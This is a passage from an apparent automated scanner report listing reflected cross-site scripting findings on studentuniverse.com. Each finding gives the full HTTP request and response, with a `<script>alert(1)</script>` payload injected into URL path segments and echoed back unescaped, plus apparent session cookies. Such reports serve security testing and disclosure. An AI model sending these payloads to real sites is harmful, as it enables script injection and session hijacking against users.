Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:39 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:39 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:38 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 200

The requested resource (/Build7.6.3.2_20f0ba1<script>alert(1)</script>af1a3f3bbef/javascript/jScrollPane/f0ba1<script>alert(1)</script>af1a3f3bbef/javascript/jScrollPane/jquery.em.js) is not available

1.23. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jquery.em.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jScrollPane/jquery.em.js

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 700fa<script>alert(1)</script>3fb7b266058 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript700fa<script>alert(1)</script>3fb7b266058/jScrollPane/jquery.em.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:43 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:43 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:43 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 119

The requested resource (/javascript700fa<script>alert(1)</script>3fb7b266058/jScrollPane/jquery.em.js) is not available

1.24. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jquery.em.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jScrollPane/jquery.em.js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload b85cb<script>alert(1)</script>861a78baebd was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/jScrollPaneb85cb<script>alert(1)</script>861a78baebd/jquery.em.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:44 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:44 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:44 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 119

The requested resource (/javascript/jScrollPaneb85cb<script>alert(1)</script>861a78baebd/jquery.em.js) is not available

1.25. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jquery.em.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jScrollPane/jquery.em.js

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload a9d00<script>alert(1)</script>941b13cd980 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/jScrollPane/jquery.em.jsa9d00<script>alert(1)</script>941b13cd980 HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:45 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 22:00:45 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 135

The requested resource (/Build7.6.3.2_20/javascript/jScrollPane/jquery.em.jsa9d00<script>alert(1)</script>941b13cd980) is not available

1.26. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jquery.mousewheel.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jScrollPane/jquery.mousewheel.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload c965d<script>alert(1)</script>d805a9169e8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20c965d<script>alert(1)</script>d805a9169e8/javascript/jScrollPane/jquery.mousewheel.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:41 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:41 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:40 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 208

The requested resource (/Build7.6.3.2_20c965d<script>alert(1)</script>d805a9169e8/javascript/jScrollPane/c965d<script>alert(1)</script>d805a9169e8/javascript/jScrollPane/jquery.mousewheel.js) is not a
...[SNIP]...

1.27. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jquery.mousewheel.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jScrollPane/jquery.mousewheel.js

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload eec53<script>alert(1)</script>b091a8a004 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascripteec53<script>alert(1)</script>b091a8a004/jScrollPane/jquery.mousewheel.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:41 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:41 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:40 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 126

The requested resource (/javascripteec53<script>alert(1)</script>b091a8a004/jScrollPane/jquery.mousewheel.js) is not available

1.28. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jquery.mousewheel.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jScrollPane/jquery.mousewheel.js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload e7909<script>alert(1)</script>291df344ece was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/jScrollPanee7909<script>alert(1)</script>291df344ece/jquery.mousewheel.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:43 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:43 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:43 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 127

The requested resource (/javascript/jScrollPanee7909<script>alert(1)</script>291df344ece/jquery.mousewheel.js) is not available

1.29. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jquery.mousewheel.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jScrollPane/jquery.mousewheel.js

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 8d8b6<script>alert(1)</script>3bf1aec9dfe was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/jScrollPane/jquery.mousewheel.js8d8b6<script>alert(1)</script>3bf1aec9dfe HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:44 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 22:00:44 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 143

The requested resource (/Build7.6.3.2_20/javascript/jScrollPane/jquery.mousewheel.js8d8b6<script>alert(1)</script>3bf1aec9dfe) is not available

1.30. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery-drag.min.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery-drag.min.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 9da39<script>alert(1)</script>ec0f1291d5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_209da39<script>alert(1)</script>ec0f1291d5/javascript/jquery-drag.min.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:53 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:53 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:52 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 180

The requested resource (/Build7.6.3.2_209da39<script>alert(1)</script>ec0f1291d5/javascript/9da39<script>alert(1)</script>ec0f1291d5/javascript/jquery-drag.min.js) is not available

1.31. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery-drag.min.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery-drag.min.js

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload b2186<script>alert(1)</script>3df5e1068dc was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascriptb2186<script>alert(1)</script>3df5e1068dc/jquery-drag.min.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:53 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:53 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:52 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 113

The requested resource (/javascriptb2186<script>alert(1)</script>3df5e1068dc/jquery-drag.min.js) is not available

1.32. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery-drag.min.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery-drag.min.js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 29544<script>alert(1)</script>18836a7f793 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/jquery-drag.min.js29544<script>alert(1)</script>18836a7f793 HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:53 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 22:00:52 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 129

The requested resource (/Build7.6.3.2_20/javascript/jquery-drag.min.js29544<script>alert(1)</script>18836a7f793) is not available

1.33. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery.pngFix.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery.pngFix.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 5e65c<script>alert(1)</script>36d2a3b4358 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_205e65c<script>alert(1)</script>36d2a3b4358/javascript/jquery.pngFix.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:41 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:41 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:40 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 180

The requested resource (/Build7.6.3.2_205e65c<script>alert(1)</script>36d2a3b4358/javascript/5e65c<script>alert(1)</script>36d2a3b4358/javascript/jquery.pngFix.js) is not available

1.34. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery.pngFix.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery.pngFix.js

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 88fb5<script>alert(1)</script>dca725791c9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript88fb5<script>alert(1)</script>dca725791c9/jquery.pngFix.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:41 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:41 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:40 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 111

The requested resource (/javascript88fb5<script>alert(1)</script>dca725791c9/jquery.pngFix.js) is not available

1.35. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jquery.pngFix.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jquery.pngFix.js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 352ba<script>alert(1)</script>51bcb681503 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

